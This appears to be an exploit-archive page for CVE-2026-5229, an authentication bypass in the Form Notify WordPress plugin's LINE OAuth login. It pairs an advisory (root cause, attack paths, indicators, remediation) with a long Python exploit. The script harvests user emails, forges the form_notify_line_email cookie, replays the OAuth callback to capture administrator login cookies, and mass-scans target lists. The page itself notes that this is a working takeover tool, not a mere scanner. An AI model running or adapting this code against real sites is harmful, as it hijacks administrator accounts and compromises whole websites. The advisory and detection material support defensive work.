PoC Archive PoC Archive
Critical CVE-2026-5229 patched

Form Notify WordPress Plugin — LINE OAuth Authentication Bypass to Account Takeover (CVE-2026-5229)

by Original discovery credited to Paolo Tresso (Wordfence); PoC/scanner author xxconi (GitHub) · 2026-07-05

CVSS 9.8/10
Severity
Critical
CVE
CVE-2026-5229
Category
web
Affected product
Form Notify WordPress plugin, LINE Login OAuth 2.0 integration (src/APIs/Line/Login/Route.php, User.php)
Affected versions
<= 1.1.08 (Cookie Injection + Email Match paths); 1.1.09–1.1.10 (Email Match path only); patched in 1.1.11+
Disclosed
2026-07-05
Patch status
patched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-05
Author / ResearcherOriginal discovery credited to Paolo Tresso (Wordfence); PoC/scanner author xxconi (GitHub)
CVE / AdvisoryCVE-2026-5229
Categoryweb
SeverityCritical
CVSS Score9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H, as stated in repository)
StatusPoC
Tagswordpress, form-notify, oauth, line-login, authentication-bypass, account-takeover, cookie-injection, cve-2026-5229
RelatedN/A

Affected Target

FieldValue
Software / SystemForm Notify WordPress plugin, LINE Login OAuth 2.0 integration (src/APIs/Line/Login/Route.php, User.php)
Versions Affected<= 1.1.08 (Cookie Injection + Email Match paths); 1.1.09–1.1.10 (Email Match path only); patched in 1.1.11+
Language / PlatformPHP (target WordPress plugin); Python (PoC scanner, requests library)
Authentication RequiredNo (unauthenticated attacker against the target site; the flow abuses the site’s own LINE OAuth callback)
Network Access RequiredYes

Summary

The Form Notify WordPress plugin’s LINE Login OAuth callback resolves the local WordPress account to log into purely by matching an email address, without ever verifying that the connecting LINE account was previously linked to that WordPress user. In versions <= 1.1.08, the callback additionally falls back to a client-controlled form_notify_line_email cookie whenever the LINE profile does not return an email, meaning an attacker can set that cookie to an arbitrary target email (e.g., an administrator’s) and be logged in as that user without ever needing to control the corresponding LINE account. In versions <= 1.1.10, an attacker who registers a LINE account using the target’s email address can achieve the same account takeover via the email-match path. The included Python script implements a scanner/exploit that fingerprints the vulnerable plugin and LINE Login configuration, discovers target user emails via the WordPress REST API or public pages, and drives both the cookie-injection (Path A) and email-match (Path B) attack chains, verifying successful authentication via /wp-json/wp/v2/users/me.


Vulnerability Details

Root Cause

The plugin’s REST callback endpoint (form-notify/v1/callback) is registered with permission_callback => function () { return true; } (fully public), and its User::is_member() method authenticates purely via get_user_by('email', $user_email) with no check that the LINE account ($user_raw_id) has previously been linked to that WordPress user. In versions <= 1.1.08, when the LINE profile omits an email, the plugin falls back to reading the client-supplied $_COOKIE['form_notify_line_email'] cookie as the “verified” email, which is entirely attacker-controlled. State/CSRF validation additionally degrades to an often-empty $_SESSION fallback once the associated transient expires, weakening replay protection. A secondary issue: accounts auto-created via the OAuth flow have user_pass set equal to their email address, enabling trivial credential guessing/brute force.

Attack Vector

  1. Attacker enumerates a target user’s email via the WordPress REST API (/wp-json/wp/v2/users) or public author/contact pages.
  2. Path A (<= 1.1.08, cookie injection): Attacker sets the form_notify_line_email cookie to the target’s email, initiates the LINE OAuth flow via /wp-json/form-notify/v1/login, and completes LINE consent without granting the email scope (or using an emailless LINE account). The plugin falls back to the attacker’s cookie value as the “verified” email and logs the attacker in as the target user.
  3. Path B (<= 1.1.10, email match): Attacker registers/uses a LINE account whose email matches the target’s WordPress email, completes the LINE OAuth flow granting the email scope, and the plugin authenticates the attacker as the target purely based on email equality, with no linkage check to a previously-associated LINE account.
  4. Successful authentication is confirmed by querying /wp-json/wp/v2/users/me, which returns the impersonated user’s identity and roles (including administrator, if targeted).

Impact

Full account takeover of any WordPress user (including administrators) whose email address is discoverable, without needing to compromise their credentials or, in Path A, without needing any access to their real LINE account at all — leading to complete compromise of the WordPress site under an administrator account.


Environment / Lab Setup

Target:   WordPress site with Form Notify plugin (<= 1.1.10) installed and
          LINE Login configured (LINE developer account + LINE Login channel)
Attacker: Python 3, `requests` library (pip install requests)

Proof of Concept

PoC Script

See CVE-2026-5229.py in this folder.

1
2
3
4
5
python CVE-2026-5229.py -u http://target.com

python CVE-2026-5229.py -u http://target.com --email admin@target.com --path A

python CVE-2026-5229.py -l targets.txt -t 15 -o results.txt

The script fingerprints whether Form Notify and its LINE Login callback are active, discovers candidate target user emails (REST API or page scraping), then drives Path A (cookie injection) and/or Path B (email match) against the discovered targets, reporting AUTH OK/WP-ADMIN on success and writing confirmed authentication-bypass results to an output file.


Detection & IOCs

Signs of compromise:

  • Requests to the LINE OAuth callback endpoint carrying a form_notify_line_email cookie that does not match the account ultimately logged in as
  • Successful logins to accounts (especially administrators) immediately following a LINE OAuth callback, without a prior legitimate LINE-account linkage
  • New user accounts created via the plugin whose password equals their email address

Remediation

ActionDetail
Primary fixUpgrade Form Notify to 1.1.11 or later
Interim mitigationDisable LINE Login in Form Notify until patched; if upgrading is not immediately possible, remove the $_COOKIE['form_notify_line_email'] fallback and enforce LINE-user-ID-based account linkage (get_users(['meta_key' => 'line_user_id', 'meta_value' => $line_user_id])) instead of email-only matching

References


Notes

Mirrored from https://github.com/xxconi/CVE-2026-5229 on 2026-07-05. The repository’s file is titled/described as a “scanner,” but as noted during vetting, the script implements two genuine, functional account-takeover attack paths (cookie injection and email-match) rather than merely detecting the vulnerability.

CVE-2026-5229.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
#!/usr/bin/env python3
"""
CVE — Form Notify WordPress Plugin
LINE OAuth Authentication Bypass → Account Takeover

Etkilenen Sürümler:
  <= 1.1.08 : Path A — Cookie Injection (email gerekmez)
  <= 1.1.10 : Path B — Email Match (LINE hesabı gerekir)

Saldırı Zinciri:
  Path A:
    1. Hedef kullanıcı emailini tespit et (wp-json/wp/v2/users)
    2. form_notify_line_email cookie'sini hedef email ile set et
    3. LINE OAuth flow başlat → email scope VERMEDEn tamamla
    4. Plugin cookie'yi okur → hedef kullanıcı olarak authenticate eder

  Path B:
    1. Hedef kullanıcı emailini tespit et
    2. LINE OAuth flow başlat → email scope VERErek tamamla
    3. Plugin LINE email'ini kullanarak get_user_by('email') çağırır
    4. Linkage kontrolü yok → hedef kullanıcı olarak authenticate eder
"""

import requests
import argparse
import json
import re
import sys
from concurrent.futures import ThreadPoolExecutor, as_completed
from threading import Lock
from urllib.parse import urlencode, urlparse, parse_qs

requests.packages.urllib3.disable_warnings()

G = "\033[92m"; R = "\033[91m"; Y = "\033[93m"
C = "\033[96m"; D = "\033[90m"; B = "\033[1m"; X = "\033[0m"

_lock    = Lock()
_counter = [0]

def out(msg):
    with _lock:
        sys.stdout.write("\r" + " " * 90 + "\r")
        sys.stdout.write(msg + "\n")
        sys.stdout.flush()

def progress(total):
    with _lock:
        _counter[0] += 1
        n   = _counter[0]
        pct = n * 100 // total
        bar = "█" * (pct // 5) + "░" * (20 - pct // 5)
        sys.stdout.write(f"\r[{bar}] {n}/{total} ({pct}%)  ")
        sys.stdout.flush()

# ══════════════════════════════════════════════════════════════
# HEDEF KULLANICI TESPİTİ
# ══════════════════════════════════════════════════════════════

def get_users_from_rest(sess, base):
    """
    WordPress REST API'den kullanıcı listesi çek.
    GET /wp-json/wp/v2/users
    """
    users = []
    endpoints = [
        "/wp-json/wp/v2/users",
        "/wp-json/wp/v2/users?per_page=100",
        "/wp-json/wp/v2/users?roles=administrator",
    ]

    for ep in endpoints:
        try:
            r = sess.get(base + ep, timeout=8)
            if r.status_code == 200:
                data = r.json()
                if isinstance(data, list):
                    for u in data:
                        email = u.get("email", "")
                        slug  = u.get("slug",  "")
                        name  = u.get("name",  "")
                        uid   = u.get("id",    0)
                        roles = u.get("roles", [])
                        # Email bazen gizlenir — slug'dan tahmin et
                        if not email and slug:
                            email = f"{slug}@{urlparse(base).netloc}"
                        if email or slug:
                            users.append({
                                "id":    uid,
                                "name":  name,
                                "email": email,
                                "slug":  slug,
                                "roles": roles,
                            })
                    if users:
                        break
        except: continue

    return users

def get_admin_email_from_page(sess, base):
    """
    Sayfa kaynağından admin email adresini çıkarmaya çalış.
    - Lost password form
    - Author sayfaları
    - Contact bilgileri
    - wp-login.php
    """
    emails = []
    EMAIL_RE = re.compile(
        r'[a-zA-Z0-9._%+\-]+@[a-zA-Z0-9.\-]+\.[a-zA-Z]{2,}'
    )

    pages = [
        "/wp-login.php?action=lostpassword",
        "/contact", "/contact-us", "/about", "/about-us",
        "/?author=1", "/?author=2",
        "/wp-json/form-notify/v1/login",
    ]

    for path in pages:
        try:
            r = sess.get(base + path, timeout=5, allow_redirects=True)
            found = EMAIL_RE.findall(r.text)
            for e in found:
                # Sistem emaillerini filtrele
                if not any(x in e for x in [
                    "example.com", "wordpress.org",
                    "w3.org", "schema.org", "jquery"
                ]):
                    emails.append(e)
        except: continue

    # Tekrarları kaldır, önce admin/info olanları sırala
    seen = []
    for e in emails:
        if e not in seen:
            seen.append(e)

    seen.sort(key=lambda e: (
        0 if any(x in e.lower() for x in ["admin","info","contact","support"]) else 1
    ))
    return seen

def discover_targets(sess, base):
    """
    Tüm yöntemleri kullanarak hedef kullanıcıları bul.
    Döndürür: [{"email": ..., "name": ..., "roles": [...]}]
    """
    targets = []

    # 1. REST API
    rest_users = get_users_from_rest(sess, base)
    for u in rest_users:
        if u["email"]:
            targets.append(u)

    # 2. Sayfa tarama
    if not targets:
        emails = get_admin_email_from_page(sess, base)
        for e in emails:
            targets.append({"email": e, "name": "", "roles": [], "id": 0})

    return targets

# ══════════════════════════════════════════════════════════════
# FORM NOTIFY EKLENTI TESPİTİ
# ══════════════════════════════════════════════════════════════

def detect_plugin(sess, base):
    """
    Form Notify eklentisinin kurulu ve LINE Login'in aktif olup
    olmadığını kontrol et.
    """
    indicators = {
        "plugin_installed": False,
        "line_login_active": False,
        "version": None,
        "login_url": None,
        "callback_url": None,
    }

    # REST endpoint varlığı
    for ep in [
        "/wp-json/form-notify/v1/login",
        "/wp-json/form-notify/v1/callback",
    ]:
        try:
            r = sess.get(base + ep, timeout=5, allow_redirects=False)
            if r.status_code in (200, 302, 400, 401, 403):
                indicators["plugin_installed"] = True
                if "login" in ep:
                    indicators["login_url"]    = base + ep
                    indicators["line_login_active"] = True
                if "callback" in ep:
                    indicators["callback_url"] = base + ep
        except: continue

    # Eklenti dosyası varlığı
    try:
        r = sess.get(
            base + "/wp-content/plugins/form-notify/readme.txt",
            timeout=5
        )
        if r.status_code == 200:
            indicators["plugin_installed"] = True
            # Sürüm tespiti
            m = re.search(r'Stable tag:\s*([\d.]+)', r.text)
            if m:
                indicators["version"] = m.group(1)
    except: pass

    # Sayfa kaynağında LINE login butonu
    try:
        r = sess.get(base, timeout=5)
        if any(x in r.text for x in [
            "form-notify", "form_notify",
            "line-login", "line_login",
            "form-notify/v1/login",
        ]):
            indicators["plugin_installed"] = True
            if "form-notify/v1/login" in r.text:
                indicators["line_login_active"] = True
    except: pass

    return indicators

# ══════════════════════════════════════════════════════════════
# PATH A — COOKIE INJECTION (<= 1.1.08)
# ══════════════════════════════════════════════════════════════

def path_a_cookie_injection(sess, base, target_email, plugin_info):
    """
    form_notify_line_email cookie'sini hedef email ile set ederek
    LINE OAuth flow başlat.

    Adımlar:
      1. Cookie'yi set et
      2. /wp-json/form-notify/v1/login endpoint'ine istek at
      3. LINE OAuth URL'ini al
      4. State parametresini çıkar
      5. Callback'i doğrudan simüle et (email scope olmadan)
    """
    login_url    = plugin_info.get("login_url") or (base + "/wp-json/form-notify/v1/login")
    callback_url = plugin_info.get("callback_url") or (base + "/wp-json/form-notify/v1/callback")

    # Cookie set et
    sess.cookies.set(
        "form_notify_line_email",
        target_email,
        domain=urlparse(base).netloc,
        path="/"
    )

    try:
        # Login endpoint'ini çağır — LINE OAuth URL'ini al
        r = sess.get(login_url, timeout=8, allow_redirects=False)

        line_oauth_url = None
        if r.status_code in (301, 302, 307, 308):
            line_oauth_url = r.headers.get("Location", "")
        elif r.status_code == 200:
            # JSON yanıt içinde URL olabilir
            try:
                data = r.json()
                line_oauth_url = data.get("url") or data.get("redirect_url", "")
            except:
                m = re.search(r'https://access\.line\.me[^\s"\'<>]+', r.text)
                if m:
                    line_oauth_url = m.group(0)

        if not line_oauth_url:
            return {"status": "NO_OAUTH_URL", "path": "A"}

        # State parametresini çıkar
        parsed = urlparse(line_oauth_url)
        params = parse_qs(parsed.query)
        state  = params.get("state", [""])[0]

        if not state:
            return {"status": "NO_STATE", "path": "A"}

        # Callback'i simüle et — email scope olmadan
        # LINE normalde code ve state döndürür
        # Burada mock bir code kullanıyoruz; gerçek testte
        # LINE'dan alınan gerçek code kullanılmalıdır
        callback_params = {
            "code":  "mock_auth_code_path_a",
            "state": state,
        }

        r2 = sess.get(
            callback_url,
            params=callback_params,
            cookies={"form_notify_line_email": target_email},
            timeout=10,
            allow_redirects=True,
        )

        # Oturum açıldı mı kontrol et
        auth_cookies = {
            k: v for k, v in sess.cookies.items()
            if "wordpress_logged_in" in k or "wordpress_sec" in k
        }

        if auth_cookies:
            return {
                "status":       "AUTH_SUCCESS",
                "path":         "A",
                "target_email": target_email,
                "cookies":      auth_cookies,
                "oauth_url":    line_oauth_url,
            }

        # Redirect hedefine bak
        final_url = r2.url
        if "/wp-admin" in final_url or "dashboard" in final_url:
            return {
                "status":       "REDIRECT_ADMIN",
                "path":         "A",
                "target_email": target_email,
                "final_url":    final_url,
                "oauth_url":    line_oauth_url,
            }

        return {
            "status":    "CALLBACK_SENT",
            "path":      "A",
            "note":      "Manuel tamamlama gerekiyor — LINE OAuth URL'ini tarayıcıda aç",
            "oauth_url": line_oauth_url,
            "state":     state,
            "cookie":    f"form_notify_line_email={target_email}",
        }

    except requests.exceptions.Timeout:
        return {"status": "TIMEOUT", "path": "A"}
    except requests.exceptions.ConnectionError:
        return {"status": "CONN_ERR", "path": "A"}
    except Exception as e:
        return {"status": "EXCEPTION", "path": "A", "err": str(e)}

# ══════════════════════════════════════════════════════════════
# PATH B — EMAIL MATCH (<= 1.1.10)
# ══════════════════════════════════════════════════════════════

def path_b_email_match(sess, base, target_email, plugin_info):
    """
    LINE hesabı hedef email ile kayıtlıysa OAuth flow ile
    doğrudan authenticate ol.

    NOT: Bu path gerçek LINE hesabı gerektirir.
         Bu fonksiyon flow'u başlatır ve manuel tamamlama
         için gerekli bilgileri döndürür.
    """
    login_url = plugin_info.get("login_url") or (base + "/wp-json/form-notify/v1/login")

    try:
        r = sess.get(login_url, timeout=8, allow_redirects=False)

        line_oauth_url = None
        if r.status_code in (301, 302, 307, 308):
            line_oauth_url = r.headers.get("Location", "")
        elif r.status_code == 200:
            try:
                data = r.json()
                line_oauth_url = data.get("url") or data.get("redirect_url", "")
            except:
                m = re.search(r'https://access\.line\.me[^\s"\'<>]+', r.text)
                if m:
                    line_oauth_url = m.group(0)

        if not line_oauth_url:
            return {"status": "NO_OAUTH_URL", "path": "B"}

        parsed = urlparse(line_oauth_url)
        params = parse_qs(parsed.query)
        state  = params.get("state", [""])[0]

        return {
            "status":       "MANUAL_REQUIRED",
            "path":         "B",
            "target_email": target_email,
            "oauth_url":    line_oauth_url,
            "state":        state,
            "instructions": [
                f"1. LINE hesabını {target_email} ile kaydet/giriş yap",
                f"2. Şu URL'yi tarayıcıda aç: {line_oauth_url}",
                "3. LINE consent ekranında EMAIL iznini ver",
                "4. Callback sonrası /wp-admin/'e git",
            ],
        }

    except requests.exceptions.Timeout:
        return {"status": "TIMEOUT", "path": "B"}
    except Exception as e:
        return {"status": "EXCEPTION", "path": "B", "err": str(e)}

# ══════════════════════════════════════════════════════════════
# OTURUM DOĞRULAMA
# ══════════════════════════════════════════════════════════════

def verify_session(sess, base):
    """
    Mevcut session ile /wp-json/wp/v2/users/me endpoint'ini çağır.
    Başarılı ise kullanıcı bilgilerini döndür.
    """
    try:
        r = sess.get(
            base + "/wp-json/wp/v2/users/me",
            timeout=8
        )
        if r.status_code == 200:
            data = r.json()
            return {
                "verified": True,
                "id":       data.get("id"),
                "name":     data.get("name"),
                "email":    data.get("email"),
                "roles":    data.get("roles", []),
            }
    except: pass
    return {"verified": False}

# ══════════════════════════════════════════════════════════════
# TEKİL HEDEF KONTROLÜ
# ══════════════════════════════════════════════════════════════

def check(target, args, total=1):
    if not target.startswith("http"):
        target = "http://" + target

    sess = requests.Session()
    sess.headers["User-Agent"] = "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"
    sess.verify = False

    if args.proxy:
        sess.proxies = {"http": args.proxy, "https": args.proxy}

    # Bağlantı testi
    try:
        r = sess.get(target, timeout=8, allow_redirects=True)
        base = r.url.rstrip("/")
    except:
        progress(total)
        return {"status": "UNREACH", "url": target}

    # ── Adım 1: Eklenti tespiti ──
    plugin_info = detect_plugin(sess, base)

    if not plugin_info["plugin_installed"]:
        progress(total)
        return {"status": "NO_PLUGIN", "url": base}

    if not plugin_info["line_login_active"]:
        progress(total)
        return {
            "status":  "PLUGIN_NO_LINE",
            "url":     base,
            "version": plugin_info.get("version"),
        }

    # ── Adım 2: Hedef kullanıcıları bul ──
    if args.email:
        targets = [{"email": args.email, "name": "manual", "roles": [], "id": 0}]
    else:
        targets = discover_targets(sess, base)

    if not targets:
        progress(total)
        return {"status": "NO_TARGETS", "url": base}

    # ── Adım 3: Saldırı path'ini belirle ──
    version = plugin_info.get("version") or "unknown"
    results = []

    for tgt in targets[:args.max_users]:
        email = tgt.get("email", "")
        if not email:
            continue

        # Path A — Cookie Injection (<= 1.1.08)
        if args.path in ("A", "both"):
            res_a = path_a_cookie_injection(
                sess, base, email, plugin_info
            )
            res_a["url"]     = base
            res_a["version"] = version
            res_a["target"]  = tgt
            results.append(res_a)

            # Başarılı ise doğrula
            if res_a["status"] in ("AUTH_SUCCESS", "REDIRECT_ADMIN"):
                v = verify_session(sess, base)
                res_a["session_verified"] = v

        # Path B — Email Match (<= 1.1.10)
        if args.path in ("B", "both"):
            res_b = path_b_email_match(
                sess, base, email, plugin_info
            )
Showing 500 of 688 lines View full file on GitHub →